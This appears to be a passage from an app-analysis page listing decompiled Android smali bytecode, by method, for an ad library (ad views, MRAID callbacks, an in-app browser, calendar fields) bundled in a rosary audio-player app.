49 | if-eqz v1, :cond_e | |
50 | new-instance v1, Lcom/vxjxu/jkhfn1870/AdView$4; | |
52 | invoke-direct {v1, p0}, Lcom/vxjxu/jkhfn1870/AdView$4;-><init>(Lcom/vxjxu/jkhfn1870/AdView;)V | |
54 | invoke-virtual {p0, v1}, Lcom/vxjxu/jkhfn1870/AdView;->post(Ljava/lang/Runnable;)Z | |
55 | goto/16 :goto_e | |
56 | cond_4d: monitor-enter p0 | |
57 | try_end_4e: new-instance v0, Lcom/vxjxu/jkhfn1870/AdView$5; | |
59 | invoke-direct {v0, p0}, Lcom/vxjxu/jkhfn1870/AdView$5;-><init>(Lcom/vxjxu/jkhfn1870/AdView;)V | |
61 | invoke-virtual {p0}, Lcom/vxjxu/jkhfn1870/AdView;->getContext()Landroid/content/Context; | |
62 | move-result-object v1 | |
64 | invoke-static {v1}, Lcom/vxjxu/jkhfn1870/Util;->checkInternetConnection(Landroid/content/Context;)Z | |
65 | move-result v1 | |
66 | if-eqz v1, :cond_65 | |
68 | invoke-interface {v0}, Lcom/vxjxu/jkhfn1870/AsyncTaskCompleteListener;->launchNewHttpTask()V | |
69 | cond_60: monitor-exit p0 | |
70 | goto/16 :goto_e | |
71 | catchall_62: move-exception v1 | |
72 | monitor-exit p0 | |
73 | try_start_64: throw v1 | |
74 | try_end_65: | |
75 | sget-object v1, Lcom/vxjxu/jkhfn1870/AdView;->adListener:Lcom/vxjxu/jkhfn1870/AdCallbackListener$MraidCallbackListener; | |
76 | if-eqz v1, :cond_60 | |
78 | sget-object v1, Lcom/vxjxu/jkhfn1870/AdView;->adListener:Lcom/vxjxu/jkhfn1870/AdCallbackListener$MraidCallbackListener; | |
80 | const-string v2, "Ad request failed. Internet connection not found." | |
82 | invoke-interface {v1, v2}, Lcom/vxjxu/jkhfn1870/AdCallbackListener$MraidCallbackListener;->onErrorListener(Ljava/lang/String;)V |
|
83 | try_end_70: goto/16 :goto_60 |
APIs |
|
Strings |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .prologue | |
2 | iget-object v0, p0, Lcom/vxjxu/jkhfn1870/MraidView$2$1$3;->this$2:Lcom/vxjxu/jkhfn1870/MraidView$2$1; | |
4 | iget-object v0, v0, Lcom/vxjxu/jkhfn1870/MraidView$2$1;->this$1:Lcom/vxjxu/jkhfn1870/MraidView$2; | |
6 | iget-object v0, v0, Lcom/vxjxu/jkhfn1870/MraidView$2;->this$0:Lcom/vxjxu/jkhfn1870/MraidView; | |
8 | const-string v1, "storePicture" | |
9 | new-instance v2, Ljava/lang/StringBuilder; | |
11 | invoke-direct {v2}, Ljava/lang/StringBuilder;-><init>()V | |
13 | const-string v3, "Unknown error occured: " | |
15 | invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; |
|
16 | move-result-object v2 | |
18 | iget-object v3, p0, Lcom/vxjxu/jkhfn1870/MraidView$2$1$3;->val$e:Ljava/lang/Exception; | |
20 | invoke-virtual {v3}, Ljava/lang/Exception;->getMessage()Ljava/lang/String; | |
21 | move-result-object v3 | |
23 | invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; | |
24 | move-result-object v2 | |
26 | invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String; | |
27 | move-result-object v2 | |
29 | invoke-virtual {v0, v1, v2}, Lcom/vxjxu/jkhfn1870/MraidView;->triggerErrorEvent(Ljava/lang/String;Ljava/lang/String;)V |
|
31 | iget-object v0, p0, Lcom/vxjxu/jkhfn1870/MraidView$2$1$3;->this$2:Lcom/vxjxu/jkhfn1870/MraidView$2$1; | |
33 | iget-object v0, v0, Lcom/vxjxu/jkhfn1870/MraidView$2$1;->this$1:Lcom/vxjxu/jkhfn1870/MraidView$2; | |
35 | iget-object v0, v0, Lcom/vxjxu/jkhfn1870/MraidView$2;->this$0:Lcom/vxjxu/jkhfn1870/MraidView; | |
37 | invoke-static {v0}, Lcom/vxjxu/jkhfn1870/MraidView;->access$100(Lcom/vxjxu/jkhfn1870/MraidView;)Lcom/vxjxu/jkhfn1870/AdCallbackListener$MraidCallbackListener; | |
38 | move-result-object v0 | |
39 | if-eqz v0, :cond_3d | |
41 | iget-object v0, p0, Lcom/vxjxu/jkhfn1870/MraidView$2$1$3;->this$2:Lcom/vxjxu/jkhfn1870/MraidView$2$1; | |
43 | iget-object v0, v0, Lcom/vxjxu/jkhfn1870/MraidView$2$1;->this$1:Lcom/vxjxu/jkhfn1870/MraidView$2; | |
45 | iget-object v0, v0, Lcom/vxjxu/jkhfn1870/MraidView$2;->this$0:Lcom/vxjxu/jkhfn1870/MraidView; | |
47 | invoke-static {v0}, Lcom/vxjxu/jkhfn1870/MraidView;->access$100(Lcom/vxjxu/jkhfn1870/MraidView;)Lcom/vxjxu/jkhfn1870/AdCallbackListener$MraidCallbackListener; | |
48 | move-result-object v0 | |
50 | invoke-interface {v0}, Lcom/vxjxu/jkhfn1870/AdCallbackListener$MraidCallbackListener;->onCloseListener()V | |
51 | cond_3d: | |
52 | iget-object v0, p0, Lcom/vxjxu/jkhfn1870/MraidView$2$1$3;->this$2:Lcom/vxjxu/jkhfn1870/MraidView$2$1; | |
54 | iget-object v0, v0, Lcom/vxjxu/jkhfn1870/MraidView$2$1;->this$1:Lcom/vxjxu/jkhfn1870/MraidView$2; | |
56 | iget-object v0, v0, Lcom/vxjxu/jkhfn1870/MraidView$2;->this$0:Lcom/vxjxu/jkhfn1870/MraidView; | |
57 | const/4 v1, 0x1 | |
59 | invoke-virtual {v0, v1}, Lcom/vxjxu/jkhfn1870/MraidView;->canFetchAd(Z)V |
|
60 | return-void |
Cross References |
APIs |
|
Strings |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .param p1, "url" # Ljava/lang/String; | |
1 | .prologue | |
2 | const/4 v1, 0x2 | |
4 | invoke-virtual {p0, v1}, Lcom/vxjxu/jkhfn1870/BrowserActivity;->requestWindowFeature(I)Z |
|
6 | invoke-virtual {p0}, Lcom/vxjxu/jkhfn1870/BrowserActivity;->getResources()Landroid/content/res/Resources; | |
7 | move-result-object v1 | |
9 | invoke-virtual {v1}, Landroid/content/res/Resources;->getDisplayMetrics()Landroid/util/DisplayMetrics; | |
10 | move-result-object v1 | |
11 | iget v1, v1, Landroid/util/DisplayMetrics;->density:F | |
12 | iput v1, p0, Lcom/vxjxu/jkhfn1870/BrowserActivity;->scale:F | |
13 | if-eqz p1, :cond_1e | |
14 | try_start_12: | |
15 | const-string v1, "" | |
17 | invoke-virtual {p1, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z | |
18 | move-result v1 | |
19 | if-nez v1, :cond_1e | |
21 | invoke-direct {p0, p1}, Lcom/vxjxu/jkhfn1870/BrowserActivity;->buildLayout(Ljava/lang/String;)V | |
22 | goto_1d: return-void | |
23 | cond_1e: | |
24 | const-string v1, "AirplayMraid" | |
26 | const-string v2, "Url is null." | |
28 | invoke-static {v1, v2}, Landroid/util/Log;->i(Ljava/lang/String;Ljava/lang/String;)I |
|
30 | invoke-virtual {p0}, Lcom/vxjxu/jkhfn1870/BrowserActivity;->finish()V | |
31 | try_end_28: goto/16 :goto_1d | |
32 | catch_29: move-exception v0 | |
34 | invoke-virtual {v0}, Ljava/lang/Exception;->printStackTrace()V | |
36 | invoke-virtual {p0}, Lcom/vxjxu/jkhfn1870/BrowserActivity;->finish()V | |
37 | goto/16 :goto_1d |
APIs |
|
Strings |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .prologue | |
2 | invoke-direct {p0}, Ljava/lang/Object;-><init>()V | |
4 | const-string v0, "id" | |
5 | iput-object v0, p0, Lcom/vxjxu/jkhfn1870/CalendarEvent;->CALENDAR_ID:Ljava/lang/String; | |
7 | const-string v0, "summary" | |
8 | iput-object v0, p0, Lcom/vxjxu/jkhfn1870/CalendarEvent;->CALENDAR_TITLE:Ljava/lang/String; | |
10 | const-string v0, "location" | |
11 | iput-object v0, p0, Lcom/vxjxu/jkhfn1870/CalendarEvent;->LOCATION:Ljava/lang/String; | |
13 | const-string v0, "description" | |
14 | iput-object v0, p0, Lcom/vxjxu/jkhfn1870/CalendarEvent;->DESCRIPTION:Ljava/lang/String; | |
16 | const-string v0, "start" | |
17 | iput-object v0, p0, Lcom/vxjxu/jkhfn1870/CalendarEvent;->START_TIME:Ljava/lang/String; | |
19 | const-string v0, "end" | |
20 | iput-object v0, p0, Lcom/vxjxu/jkhfn1870/CalendarEvent;->END_TIME:Ljava/lang/String; | |
22 | const-string v0, "status" | |
23 | iput-object v0, p0, Lcom/vxjxu/jkhfn1870/CalendarEvent;->STATUS:Ljava/lang/String; | |
25 | const-string v0, "transparency" | |
26 | iput-object v0, p0, Lcom/vxjxu/jkhfn1870/CalendarEvent;->TRANSPARENCY:Ljava/lang/String; | |
28 | const-string v0, "recurrence" | |
29 | iput-object v0, p0, Lcom/vxjxu/jkhfn1870/CalendarEvent;->RECURRENCE:Ljava/lang/String; | |
31 | const-string v0, "reminder" | |
32 | iput-object v0, p0, Lcom/vxjxu/jkhfn1870/CalendarEvent;->REMINDER:Ljava/lang/String; | |
33 | return-void |
APIs |
|
Strings |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .param p1, "view" # Landroid/webkit/WebView; | |
1 | .param p2, "url" # Ljava/lang/String; | |
2 | .prologue | |
4 | invoke-super {p0, p1, p2}, Landroid/webkit/WebViewClient;->onPageFinished(Landroid/webkit/WebView;Ljava/lang/String;)V | |
5 | iget-boolean v0, p0, Lcom/vxjxu/jkhfn1870/MraidView$AirpuhWebViewClient;->isErrorOccured:Z | |
6 | if-nez v0, :cond_39 | |
8 | iget-object v0, p0, Lcom/vxjxu/jkhfn1870/MraidView$AirpuhWebViewClient;->this$0:Lcom/vxjxu/jkhfn1870/MraidView; | |
10 | invoke-static {v0}, Lcom/vxjxu/jkhfn1870/MraidView;->access$800(Lcom/vxjxu/jkhfn1870/MraidView;)Ljava/lang/String; | |
11 | move-result-object v0 | |
12 | if-eqz v0, :cond_3a | |
14 | iget-object v0, p0, Lcom/vxjxu/jkhfn1870/MraidView$AirpuhWebViewClient;->this$0:Lcom/vxjxu/jkhfn1870/MraidView; | |
16 | invoke-static {v0}, Lcom/vxjxu/jkhfn1870/MraidView;->access$800(Lcom/vxjxu/jkhfn1870/MraidView;)Ljava/lang/String; | |
17 | move-result-object v0 | |
19 | const-string v1, "expanded" | |
20 | if-eq v0, v1, :cond_23 | |
22 | iget-object v0, p0, Lcom/vxjxu/jkhfn1870/MraidView$AirpuhWebViewClient;->this$0:Lcom/vxjxu/jkhfn1870/MraidView; | |
24 | invoke-static {v0}, Lcom/vxjxu/jkhfn1870/MraidView;->access$800(Lcom/vxjxu/jkhfn1870/MraidView;)Ljava/lang/String; | |
25 | move-result-object v0 | |
27 | const-string v1, "resized" | |
28 | if-ne v0, v1, :cond_3a | |
29 | goto_23: | |
30 | iget-object v0, p0, Lcom/vxjxu/jkhfn1870/MraidView$AirpuhWebViewClient;->this$0:Lcom/vxjxu/jkhfn1870/MraidView; | |
32 | invoke-static {v0}, Lcom/vxjxu/jkhfn1870/MraidView;->access$100(Lcom/vxjxu/jkhfn1870/MraidView;)Lcom/vxjxu/jkhfn1870/AdCallbackListener$MraidCallbackListener; | |
33 | move-result-object v0 | |
34 | if-eqz v0, :cond_34 | |
36 | iget-object v0, p0, Lcom/vxjxu/jkhfn1870/MraidView$AirpuhWebViewClient;->this$0:Lcom/vxjxu/jkhfn1870/MraidView; | |
38 | invoke-static {v0}, Lcom/vxjxu/jkhfn1870/MraidView;->access$100(Lcom/vxjxu/jkhfn1870/MraidView;)Lcom/vxjxu/jkhfn1870/AdCallbackListener$MraidCallbackListener; | |
39 | move-result-object v0 | |
41 | invoke-interface {v0}, Lcom/vxjxu/jkhfn1870/AdCallbackListener$MraidCallbackListener;->onAdLoadedListener()V | |
42 | cond_34: | |
43 | iget-object v0, p0, Lcom/vxjxu/jkhfn1870/MraidView$AirpuhWebViewClient;->this$0:Lcom/vxjxu/jkhfn1870/MraidView; | |
45 | invoke-static {v0}, Lcom/vxjxu/jkhfn1870/MraidView;->access$900(Lcom/vxjxu/jkhfn1870/MraidView;)V | |
46 | cond_39: return-void | |
47 | cond_3a: | |
48 | iget-object v0, p0, Lcom/vxjxu/jkhfn1870/MraidView$AirpuhWebViewClient;->this$0:Lcom/vxjxu/jkhfn1870/MraidView; | |
50 | invoke-virtual {v0}, Lcom/vxjxu/jkhfn1870/MraidView;->displayAD()V | |
51 | goto/16 :goto_23 |
Cross References |
APIs |
|
Strings |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .param p1, "any" # [S | |
1 | .prologue | |
3 | const-string v1, "" | |
4 | const/4 v2, 0x0 | |
5 | goto_3: array-length v3, p1 | |
6 | if-ge v2, v3, :cond_42 | |
7 | if-nez v2, :cond_24 | |
8 | aget-short v0, p1, v2 | |
9 | new-instance v3, Ljava/lang/StringBuilder; | |
11 | invoke-direct {v3}, Ljava/lang/StringBuilder;-><init>()V | |
13 | const-string v4, "" | |
15 | invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; | |
16 | move-result-object v3 | |
18 | iget-object v4, p0, Lcom/vxjxu/jkhfn1870/CalendarEvent$Recurrence;->days:[Ljava/lang/String; | |
19 | aget-object v4, v4, v0 | |
21 | invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; | |
22 | move-result-object v3 | |
24 | invoke-virtual {v3}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String; | |
25 | move-result-object v1 | |
26 | goto_21: add-int/lit8 v2, v2, 0x1 | |
27 | goto/16 :goto_3 | |
28 | cond_24: aget-short v0, p1, v2 | |
29 | new-instance v3, Ljava/lang/StringBuilder; | |
31 | invoke-direct {v3}, Ljava/lang/StringBuilder;-><init>()V | |
33 | invoke-virtual {v3, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; | |
34 | move-result-object v3 | |
36 | const-string v4, "," | |
38 | invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; |
|
39 | move-result-object v3 | |
41 | iget-object v4, p0, Lcom/vxjxu/jkhfn1870/CalendarEvent$Recurrence;->days:[Ljava/lang/String; | |
42 | aget-object v4, v4, v0 | |
44 | invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; | |
45 | move-result-object v3 | |
47 | invoke-virtual {v3}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String; | |
48 | move-result-object v1 | |
49 | goto/16 :goto_21 | |
50 | cond_42: return-object v1 |
APIs |
|
Strings |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .param p1, "widthMeasureSpec" # I | |
1 | .param p2, "heightMeasureSpec" # I | |
2 | .prologue | |
4 | invoke-super {p0, p1, p2}, Landroid/webkit/WebView;->onMeasure(II)V | |
6 | iget-object v1, p0, Lcom/vxjxu/jkhfn1870/ImageBanner;->bannerAd:Lcom/vxjxu/jkhfn1870/FormatAds$ParseBannerAd; | |
7 | if-eqz v1, :cond_34 | |
9 | iget-object v1, p0, Lcom/vxjxu/jkhfn1870/ImageBanner;->bannerAd:Lcom/vxjxu/jkhfn1870/FormatAds$ParseBannerAd; | |
11 | invoke-virtual {v1}, Lcom/vxjxu/jkhfn1870/FormatAds$ParseBannerAd;->getBanner_type()Ljava/lang/String; | |
12 | move-result-object v0 | |
14 | const-string v1, "image" | |
16 | invoke-virtual {v0, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z |
|
17 | move-result v1 | |
18 | if-nez v1, :cond_25 | |
20 | const-string v1, "text" | |
22 | invoke-virtual {v0, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z |
|
23 | move-result v1 | |
24 | if-nez v1, :cond_25 | |
26 | const-string v1, "medium_rectangle" | |
28 | invoke-virtual {v0, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z |
|
29 | move-result v1 | |
30 | if-eqz v1, :cond_34 | |
31 | cond_25: | |
32 | iget-object v1, p0, Lcom/vxjxu/jkhfn1870/ImageBanner;->adView:Lcom/vxjxu/jkhfn1870/AdView; | |
34 | invoke-virtual {v1}, Lcom/vxjxu/jkhfn1870/AdView;->getadWidth()I | |
35 | move-result v1 | |
37 | iget-object v2, p0, Lcom/vxjxu/jkhfn1870/ImageBanner;->adView:Lcom/vxjxu/jkhfn1870/AdView; | |
39 | invoke-virtual {v2}, Lcom/vxjxu/jkhfn1870/AdView;->getadHeight()I | |
40 | move-result v2 | |
42 | invoke-virtual {p0, v1, v2}, Lcom/vxjxu/jkhfn1870/ImageBanner;->setMeasuredDimension(II)V | |
43 | cond_34: return-void |
APIs |
|
Strings |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .param p1, "newConfig" # Landroid/content/res/Configuration; | |
1 | .prologue | |
2 | sget v1, Landroid/os/Build$VERSION;->SDK_INT:I | |
3 | const/16 v2, 0x8 | |
4 | if-lt v1, v2, :cond_9 | |
6 | invoke-super {p0, p1}, Landroid/widget/FrameLayout;->onConfigurationChanged(Landroid/content/res/Configuration;)V | |
7 | cond_9: | |
8 | iget-object v1, p0, Lcom/vxjxu/jkhfn1870/AdView;->bannerAd:Lcom/vxjxu/jkhfn1870/FormatAds$ParseBannerAd; | |
9 | if-eqz v1, :cond_37 | |
11 | iget-object v1, p0, Lcom/vxjxu/jkhfn1870/AdView;->bannerAd:Lcom/vxjxu/jkhfn1870/FormatAds$ParseBannerAd; | |
13 | invoke-virtual {v1}, Lcom/vxjxu/jkhfn1870/FormatAds$ParseBannerAd;->getBanner_type()Ljava/lang/String; | |
14 | move-result-object v0 | |
16 | const-string v1, "image" | |
18 | invoke-virtual {v0, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z |
|
19 | move-result v1 | |
20 | if-nez v1, :cond_2b | |
22 | const-string v1, "text" | |
24 | invoke-virtual {v0, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z |
|
25 | move-result v1 | |
26 | if-nez v1, :cond_2b | |
28 | const-string v1, "medium_rectangle" | |
30 | invoke-virtual {v0, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z |
|
31 | move-result v1 | |
32 | if-eqz v1, :cond_37 | |
33 | cond_2b: | |
34 | iget-object v1, p0, Lcom/vxjxu/jkhfn1870/AdView;->handler:Landroid/os/Handler; | |
35 | const/4 v2, 0x2 | |
37 | invoke-virtual {v1, v2}, Landroid/os/Handler;->sendEmptyMessage(I)Z |
|
39 | invoke-direct {p0, v0}, Lcom/vxjxu/jkhfn1870/AdView;->resizeBanner(Ljava/lang/String;)V | |
41 | invoke-direct {p0}, Lcom/vxjxu/jkhfn1870/AdView;->loadBannerAd()V | |
42 | cond_37: return-void |
Cross References |
APIs |
|
Strings |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .param p1, "button" # Landroid/widget/Button; | |
1 | .prologue | |
2 | if-nez p1, :cond_3 | |
3 | goto_2: return-void | |
4 | cond_3: | |
5 | const-string v3, "com.android.internal.R$drawable" | |
7 | invoke-static {v3}, Ljava/lang/Class;->forName(Ljava/lang/String;)Ljava/lang/Class; |
|
8 | move-result-object v1 | |
10 | const-string v3, "ic_menu_close_clear_cancel" | |
12 | invoke-virtual {v1, v3}, Ljava/lang/Class;->getField(Ljava/lang/String;)Ljava/lang/reflect/Field; |
|
13 | move-result-object v3 | |
15 | invoke-virtual {v3, v1}, Ljava/lang/reflect/Field;->getInt(Ljava/lang/Object;)I | |
16 | move-result v0 | |
18 | invoke-virtual {p1, v0}, Landroid/widget/Button;->setBackgroundResource(I)V | |
19 | try_end_16: goto/16 :goto_2 | |
20 | catch_17: move-exception v2 | |
22 | const-string v3, "Close" | |
24 | invoke-virtual {p1, v3}, Landroid/widget/Button;->setText(Ljava/lang/CharSequence;)V |
|
25 | const/4 v3, 0x0 | |
26 | const/4 v4, 0x1 | |
28 | invoke-virtual {p1, v3, v4}, Landroid/widget/Button;->setTypeface(Landroid/graphics/Typeface;I)V |
|
29 | const/4 v3, 0x0 | |
31 | invoke-virtual {p1, v3}, Landroid/widget/Button;->setBackgroundColor(I)V |
|
32 | goto/16 :goto_2 |
APIs |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .param p1, "view" # Landroid/webkit/WebView; | |
1 | .param p2, "url" # Ljava/lang/String; | |
2 | .prologue | |
3 | const/4 v1, 0x1 | |
4 | const/4 v2, 0x0 | |
6 | invoke-super {p0, p1, p2}, Landroid/webkit/WebViewClient;->onPageFinished(Landroid/webkit/WebView;Ljava/lang/String;)V | |
7 | if-eqz p1, :cond_30 | |
8 | move v0, v1 | |
9 | goto_8: | |
10 | invoke-virtual {p1}, Landroid/webkit/WebView;->canGoBack()Z | |
11 | move-result v3 | |
12 | and-int/2addr v0, v3 | |
13 | if-eqz v0, :cond_32 | |
15 | iget-object v0, p0, Lcom/vxjxu/jkhfn1870/BrowserActivity$BrowserView$2;->this$1:Lcom/vxjxu/jkhfn1870/BrowserActivity$BrowserView; | |
17 | iget-object v0, v0, Lcom/vxjxu/jkhfn1870/BrowserActivity$BrowserView;->this$0:Lcom/vxjxu/jkhfn1870/BrowserActivity; | |
19 | invoke-static {v0}, Lcom/vxjxu/jkhfn1870/BrowserActivity;->access$100(Lcom/vxjxu/jkhfn1870/BrowserActivity;)Landroid/widget/Button; | |
20 | move-result-object v0 | |
22 | invoke-virtual {v0, v1}, Landroid/widget/Button;->setEnabled(Z)V |
|
23 | goto_1a: if-eqz p1, :cond_3e | |
24 | move v0, v1 | |
25 | goto_1d: | |
26 | invoke-virtual {p1}, Landroid/webkit/WebView;->canGoForward()Z | |
27 | move-result v3 | |
28 | and-int/2addr v0, v3 | |
29 | if-eqz v0, :cond_40 | |
31 | iget-object v0, p0, Lcom/vxjxu/jkhfn1870/BrowserActivity$BrowserView$2;->this$1:Lcom/vxjxu/jkhfn1870/BrowserActivity$BrowserView; | |
33 | iget-object v0, v0, Lcom/vxjxu/jkhfn1870/BrowserActivity$BrowserView;->this$0:Lcom/vxjxu/jkhfn1870/BrowserActivity; | |
35 | invoke-static {v0}, Lcom/vxjxu/jkhfn1870/BrowserActivity;->access$200(Lcom/vxjxu/jkhfn1870/BrowserActivity;)Landroid/widget/Button; | |
36 | move-result-object v0 | |
38 | invoke-virtual {v0, v1}, Landroid/widget/Button;->setEnabled(Z)V |
|
39 | goto_2f: return-void | |
40 | cond_30: move v0, v2 | |
41 | goto/16 :goto_8 | |
42 | cond_32: | |
43 | iget-object v0, p0, Lcom/vxjxu/jkhfn1870/BrowserActivity$BrowserView$2;->this$1:Lcom/vxjxu/jkhfn1870/BrowserActivity$BrowserView; | |
45 | iget-object v0, v0, Lcom/vxjxu/jkhfn1870/BrowserActivity$BrowserView;->this$0:Lcom/vxjxu/jkhfn1870/BrowserActivity; | |
47 | invoke-static {v0}, Lcom/vxjxu/jkhfn1870/BrowserActivity;->access$100(Lcom/vxjxu/jkhfn1870/BrowserActivity;)Landroid/widget/Button; | |
48 | move-result-object v0 | |
50 | invoke-virtual {v0, v2}, Landroid/widget/Button;->setEnabled(Z)V |
|
51 | goto/16 :goto_1a | |
52 | cond_3e: move v0, v2 | |
53 | goto/16 :goto_1d | |
54 | cond_40: | |
55 | iget-object v0, p0, Lcom/vxjxu/jkhfn1870/BrowserActivity$BrowserView$2;->this$1:Lcom/vxjxu/jkhfn1870/BrowserActivity$BrowserView; | |
57 | iget-object v0, v0, Lcom/vxjxu/jkhfn1870/BrowserActivity$BrowserView;->this$0:Lcom/vxjxu/jkhfn1870/BrowserActivity; | |
59 | invoke-static {v0}, Lcom/vxjxu/jkhfn1870/BrowserActivity;->access$200(Lcom/vxjxu/jkhfn1870/BrowserActivity;)Landroid/widget/Button; | |
60 | move-result-object v0 | |
62 | invoke-virtual {v0, v2}, Landroid/widget/Button;->setEnabled(Z)V |
|
63 | goto/16 :goto_2f |
APIs |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .param p1, "v" # Landroid/view/View; | |
1 | .prologue | |
3 | iget-object v0, p0, Lprsolutions/rosariofacileads/Player$2;->this$0:Lprsolutions/rosariofacileads/Player; | |
5 | invoke-static {v0}, Lprsolutions/rosariofacileads/Player;->access$600(Lprsolutions/rosariofacileads/Player;)I | |
6 | move-result v0 | |
7 | if-nez v0, :cond_24 | |
9 | iget-object v0, p0, Lprsolutions/rosariofacileads/Player$2;->this$0:Lprsolutions/rosariofacileads/Player; | |
11 | invoke-static {v0}, Lprsolutions/rosariofacileads/Player;->access$200(Lprsolutions/rosariofacileads/Player;)Landroid/media/MediaPlayer; | |
12 | move-result-object v0 | |
14 | invoke-virtual {v0}, Landroid/media/MediaPlayer;->pause()V | |
16 | iget-object v0, p0, Lprsolutions/rosariofacileads/Player$2;->this$0:Lprsolutions/rosariofacileads/Player; | |
18 | invoke-static {v0}, Lprsolutions/rosariofacileads/Player;->access$700(Lprsolutions/rosariofacileads/Player;)Landroid/widget/Button; | |
19 | move-result-object v0 | |
20 | const v1, 0x7f050012 | |
22 | invoke-virtual {v0, v1}, Landroid/widget/Button;->setText(I)V |
|
24 | iget-object v0, p0, Lprsolutions/rosariofacileads/Player$2;->this$0:Lprsolutions/rosariofacileads/Player; | |
25 | const/4 v1, 0x1 | |
27 | invoke-static {v0, v1}, Lprsolutions/rosariofacileads/Player;->access$602(Lprsolutions/rosariofacileads/Player;I)I |
|
28 | goto_23: return-void | |
29 | cond_24: | |
30 | iget-object v0, p0, Lprsolutions/rosariofacileads/Player$2;->this$0:Lprsolutions/rosariofacileads/Player; | |
32 | invoke-static {v0}, Lprsolutions/rosariofacileads/Player;->access$200(Lprsolutions/rosariofacileads/Player;)Landroid/media/MediaPlayer; | |
33 | move-result-object v0 | |
35 | invoke-virtual {v0}, Landroid/media/MediaPlayer;->start()V | |
37 | iget-object v0, p0, Lprsolutions/rosariofacileads/Player$2;->this$0:Lprsolutions/rosariofacileads/Player; | |
39 | invoke-static {v0}, Lprsolutions/rosariofacileads/Player;->access$700(Lprsolutions/rosariofacileads/Player;)Landroid/widget/Button; | |
40 | move-result-object v0 | |
41 | const v1, 0x7f050011 | |
43 | invoke-virtual {v0, v1}, Landroid/widget/Button;->setText(I)V |
|
45 | iget-object v0, p0, Lprsolutions/rosariofacileads/Player$2;->this$0:Lprsolutions/rosariofacileads/Player; | |
46 | const/4 v1, 0x0 | |
48 | invoke-static {v0, v1}, Lprsolutions/rosariofacileads/Player;->access$602(Lprsolutions/rosariofacileads/Player;I)I |
|
49 | goto/16 :goto_23 |
APIs |
|
Strings |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .param p1, "json" # Ljava/lang/String; | |
1 | .annotation runtime Landroid/webkit/JavascriptInterface; | |
2 | .end annotation | |
3 | .prologue | |
4 | new-instance v0, Ljava/lang/StringBuilder; | |
6 | invoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V | |
8 | const-string v1, "Expand Json: " | |
10 | invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; |
|
11 | move-result-object v0 | |
13 | invoke-virtual {v0, p1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; | |
14 | move-result-object v0 | |
16 | invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String; | |
17 | move-result-object v0 | |
19 | invoke-static {v0}, Lcom/vxjxu/jkhfn1870/Util;->printDebugLog(Ljava/lang/String;)V | |
21 | iget-object v0, p0, Lcom/vxjxu/jkhfn1870/MraidView$JavaScriptInterface;->this$0:Lcom/vxjxu/jkhfn1870/MraidView; | |
23 | invoke-static {v0}, Lcom/vxjxu/jkhfn1870/MraidView;->access$600(Lcom/vxjxu/jkhfn1870/MraidView;)Lcom/vxjxu/jkhfn1870/MraidView$ExpandProperties; | |
24 | move-result-object v0 | |
25 | if-eqz v0, :cond_28 | |
27 | iget-object v0, p0, Lcom/vxjxu/jkhfn1870/MraidView$JavaScriptInterface;->this$0:Lcom/vxjxu/jkhfn1870/MraidView; | |
29 | invoke-static {v0}, Lcom/vxjxu/jkhfn1870/MraidView;->access$600(Lcom/vxjxu/jkhfn1870/MraidView;)Lcom/vxjxu/jkhfn1870/MraidView$ExpandProperties; | |
30 | move-result-object v0 | |
32 | invoke-virtual {v0, p1}, Lcom/vxjxu/jkhfn1870/MraidView$ExpandProperties;->setProperties(Ljava/lang/String;)V | |
33 | goto_27: return-void | |
34 | cond_28: | |
35 | iget-object v0, p0, Lcom/vxjxu/jkhfn1870/MraidView$JavaScriptInterface;->this$0:Lcom/vxjxu/jkhfn1870/MraidView; | |
36 | new-instance v1, Lcom/vxjxu/jkhfn1870/MraidView$ExpandProperties; | |
38 | iget-object v2, p0, Lcom/vxjxu/jkhfn1870/MraidView$JavaScriptInterface;->this$0:Lcom/vxjxu/jkhfn1870/MraidView; | |
40 | invoke-direct {v1, v2}, Lcom/vxjxu/jkhfn1870/MraidView$ExpandProperties;-><init>(Lcom/vxjxu/jkhfn1870/MraidView;)V | |
42 | invoke-static {v0, v1}, Lcom/vxjxu/jkhfn1870/MraidView;->access$602(Lcom/vxjxu/jkhfn1870/MraidView;Lcom/vxjxu/jkhfn1870/MraidView$ExpandProperties;)Lcom/vxjxu/jkhfn1870/MraidView$ExpandProperties; | |
44 | iget-object v0, p0, Lcom/vxjxu/jkhfn1870/MraidView$JavaScriptInterface;->this$0:Lcom/vxjxu/jkhfn1870/MraidView; | |
